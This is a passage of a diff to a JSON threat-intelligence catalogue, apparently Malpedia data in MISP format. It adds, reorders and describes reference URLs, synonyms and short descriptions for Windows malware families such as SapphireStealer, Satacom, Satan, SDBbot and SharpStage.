"https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/", + "https://news.sophos.com/en-us/2018/07/31/sophoslabs-releases-samsam-ransomware-report/", + "https://nakedsecurity.sophos.com/2018/08/02/how-to-defend-yourself-against-samsam-ransomware/", + "https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit", "https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", - "https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/", "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/samsam-ransomware-chooses-its-targets-carefully-wpna.aspx", - "https://nakedsecurity.sophos.com/2018/07/31/samsam-the-almost-6-million-ransomware/", - "http://blog.talosintel.com/2016/03/samsam-ransomware.html", - "https://www.secureworks.com/research/samsam-ransomware-campaigns" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.justice.gov/opa/press-release/file/1114746/download" ], "synonyms": [ "Samas" @@ -42883,16 +44899,29 @@ "uuid": "32e9c2ce-08a6-47ee-8636-ea83711930b1", "value": "SapphireMiner" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_stealer", + "https://github.com/0day2/SapphireStealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e1b2b792-033a-438d-a9c4-4d2adf1abb43", + "value": "SapphireStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache", - "https://blog.alyac.co.kr/m/2219", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", + "https://blog.alyac.co.kr/m/2219", + "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html", "https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails", - "https://blog.alyac.co.kr/2219", - "https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html" + "https://blog.alyac.co.kr/2219" ], "synonyms": [], "type": [] @@ -42905,9 +44934,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust", + "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html", "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a", - "https://www.fortinet.com/blog/threat-research/hussarini---targeted-cyber-attack-in-the-philippines.html" + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a" ], "synonyms": [ "ENDCMD", @@ -42923,13 +44952,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis", - "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/", - "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", "https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis", "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Sasfis-O/detailed-analysis.aspx", "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-fizzles-in-the-background/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/sasfis" + "https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/", + "https://www.symantec.com/security-center/writeup/2010-020210-5440-99", + "https://blog.trendmicro.com/trendlabs-security-intelligence/sasfis-malware-uses-a-new-trick/" ], "synonyms": [ "Oficla" @@ -42939,19 +44968,34 @@ "uuid": "4c4ceb45-b326-45aa-8f1a-1229e90c78b4", "value": "Sasfis" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom", + "https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/" + ], + "synonyms": [ + "LegionLoader" + ], + "type": [] + }, + "uuid": "b08af3b5-2453-4d4b-972a-32e6602410f2", + "value": "Satacom" + }, { "description": "Ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan", - "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread", - "http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/", - "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/", "https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html", "https://cyware.com/news/new-satan-ransomware-variant-lucky-exposes-10-server-side-vulnerabilities-070afbd2", - "https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/", + "http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/", + "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/", "https://bartblaze.blogspot.com/2018/04/satan-ransomware-adds-eternalblue.html", - "https://www.sangfor.com/source/blog-network-security/1094.html" + "https://www.sangfor.com/source/blog-network-security/1094.html", + "https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/", + "https://www.alienvault.com/blogs/labs-research/satan-ransomware-spawns-new-methods-to-spread" ], "synonyms": [ "5ss5c", @@ -42964,12 +45008,12 @@ "value": "Satan" }, { - "description": "", + "description": "According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer\u2019s master boot record (MBR) and prevents it from starting.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana", - "https://www.cylance.com/threat-spotlight-satan-raas", - "https://blog.reversinglabs.com/blog/retread-ransomware" + "https://blog.reversinglabs.com/blog/retread-ransomware", + "https://www.cylance.com/threat-spotlight-satan-raas" ], "synonyms": [], "type": [] @@ -42996,8 +45040,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/" + "https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/" ], "synonyms": [], "type": [] @@ -43010,9 +45054,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md", + "https://securitykitten.github.io/2016/11/15/scanpos.html", "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://securitykitten.github.io/2016/11/15/scanpos.html" + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-11-15-scanpos.md" ], "synonyms": [], "type": [] @@ -43042,9 +45086,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "http://malware-traffic-analysis.net/2017/11/23/index.html", + "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [], @@ -43071,8 +45115,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken", - "https://github.com/vithakur/schneiken", - "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb" + "https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb", + "https://github.com/vithakur/schneiken" ], "synonyms": [], "type": [] @@ -43086,8 +45130,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8bfa7311-fdd9-4f8d-b813-1ab6c9d2c363", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/" ], "synonyms": [], @@ -43154,8 +45198,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive", - "https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/" + "https://0xtoxin.github.io/threat%20breakdown/ScrubCrypt-Rebirth-Of-Jlaive/", + "https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive" ], "synonyms": [], "type": [] @@ -43168,29 +45213,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", - "https://vblocalhost.com/uploads/VB2020-Jung.pdf", - "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector", - "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://github.com/Tera0017/SDBbot-Unpacker", - "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector", + "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://github.com/Tera0017/SDBbot-Unpacker", + "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", + "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader" + "https://www.secureworks.com/research/threat-profiles/gold-tahoe", + "https://vblocalhost.com/uploads/VB2020-Jung.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", + "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", + "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], "type": [] @@ -43203,10 +45248,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", "https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/" ], "synonyms": [ @@ -43236,14 +45281,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat", + "https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers", + "https://vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", "https://cyberflorida.org/2022/11/arechclient2/", "https://tampabay.tech/2022/11/30/arechclient2/", - "https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/", "https://medium.com/@gi7w0rm/a-long-way-to-sectoprat-eb2f0aad6ec8", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html", - "https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers", "https://www.gdatasoftware.com/blog/2021/02/36633-new-version-adds-encrypted-communication", + "https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/", + "https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/", "https://cdn-production.blackpointcyber.com/wp-content/uploads/2022/11/01161208/Blackpoint-Cyber-Ratting-out-Arechclient2-Whitepaper.pdf" ], "synonyms": [ @@ -43276,14 +45322,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco", - "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf", - "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf", + "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html", "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" ], "synonyms": [ @@ -43300,26 +45346,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader", - "https://blog.xpnsec.com/apt28-hospitality-malware-part-2/", "http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", - "https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html", "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", - "https://blog.yoroi.company/research/apt28-and-upcoming-elections-possible-interference-signals-part-ii/", - "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/", - "https://www.emanueledelucia.net/apt28-sofacy-seduploader-under-the-christmas-tree/", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/", "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", - "https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed", + "https://blog.xpnsec.com/apt28-hospitality-malware-part-2/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", - 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"description": "Ransomware.", + "description": "According to PCrisk, Sekhmet is ransomware. This malicious program operates by encrypting data and demanding ransom payments for decryption. During the encryption process, all affected files are appended with an extension, consisting of random characters (e.g. \".HrUSsw\", \".WNgh\", \".NdWfEr\", etc.).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", - "https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html" + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html", + "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3" ], "synonyms": [], "type": [] @@ -43373,8 +45419,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake", - "https://twitter.com/8th_grey_owl/status/1481433481485844483", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://twitter.com/8th_grey_owl/status/1481433481485844483" ], "synonyms": [], "type": [] @@ -43455,30 +45501,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper", - "https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners", - "https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/", - "https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/", + "https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/", "https://prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf", + "https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - 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"https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/", - "https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/" + "https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/", + "https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/" ], "synonyms": [], "type": [] @@ -43663,8 +45712,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shark", - "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/", - "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf" + "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", + "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/" ], "synonyms": [], "type": [] @@ -43715,7 +45764,7 @@ "value": "SharpMapExec" }, { - "description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. ", + "description": "The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called \u201cStage_One\u201d. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east. 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"https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/" + "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://asec.ahnlab.com/en/55652/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [], "type": [] @@ -44351,12 +46416,12 @@ "value": "slnrat" }, { - "description": "", + "description": "According to MITRE, SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia", - "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" ], "synonyms": [ "QueenOfClubs" @@ -44371,11 +46436,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub", - "https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/", "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-kitsune.pdf", - "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html" + "https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html", + "https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-slub-backdoor-uses-github-communicates-via-slack/", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf" ], "synonyms": [], "type": [] @@ -44388,8 +46453,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-express" ], "synonyms": [ "speccom" @@ -44417,18 +46482,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager", - "https://0xthreatintel.medium.com/reversing-apt-tool-smanager-unpacked-d413a04961c4", - "https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/", "https://blog.vincss.net/2020/12/phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html", - "https://blog.group-ib.com/task", - "https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html", - "https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1", "https://blog.vincss.net/2021/02/re020-elephantrat-kunming-version-our-latest-discovered-RAT-of-Panda.html", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://blog.vincss.net/2020/12/re018-2-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html?m=1", + "https://blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chain-against-vietnam-government-certification-authority.html", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", - "https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", "https://0xthreatintel.medium.com/how-to-unpack-smanager-apt-tool-cb5909819214", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://blog.vincss.net/2020/12/re017-2-phan-tich-ky-thuat-dong-ma-doc-moi-co-nhieu-dau-hieu-lien-quan-toi-nhom-tin-tac-Panda.html", + "https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/", + "https://0xthreatintel.medium.com/reversing-apt-tool-smanager-unpacked-d413a04961c4", + "https://blog.group-ib.com/task" ], "synonyms": [ 